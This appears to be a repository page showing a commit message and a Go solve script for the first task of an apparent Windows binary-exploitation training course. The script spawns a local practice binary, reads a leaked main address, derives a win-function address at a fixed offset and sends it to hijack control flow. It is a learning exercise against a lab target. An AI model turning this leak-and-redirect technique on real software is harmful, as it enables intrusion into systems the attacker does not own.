larryandClaude Sonnet 4.6
c9aafc512b
Rename task dirs to 01_info_leak through 07_heap_aslr following a standard learning order (info leak → ROP → fmtstr → heap overflow → UAF → LFH grooming → ASLR bypass). Remove bof_basic, demos, heap_segment, and template directories. Strip debug symbols from all compiled challenge binaries and remove all .exe files from the tree. Strip all explanatory comments from solve scripts. Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
39 lines
800 B
Go
39 lines
800 B
Go
package main
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import (
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"bytes"
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"fmt"
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"log"
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"strconv"
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"winpwn"
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)
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func main() {
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tube, err := winpwn.Spawn("./task1.exe")
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if err != nil {
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log.Fatalf("Spawn: %v", err)
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}
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if _, err := tube.RecvUntil([]byte("main: ")); err != nil {
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log.Fatalf("RecvUntil: %v", err)
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}
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addrBytes, err := tube.RecvUntil([]byte("\n"))
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if err != nil {
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log.Fatalf("RecvUntil: %v", err)
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}
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mainAddr, err := strconv.ParseUint(string(bytes.TrimSpace(addrBytes)), 16, 64)
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if err != nil {
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log.Fatalf("parse addr: %v", err)
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}
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fmt.Printf("[+] Leaked main: 0x%X\n", mainAddr)
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winAddr := mainAddr - 267
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fmt.Printf("[+] win: 0x%X\n", winAddr)
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if err := tube.SendLineAfter([]byte("0x12345: "), []byte(fmt.Sprintf("%x", winAddr))); err != nil {
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log.Fatalf("SendLineAfter: %v", err)
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}
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tube.Interactive()
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}
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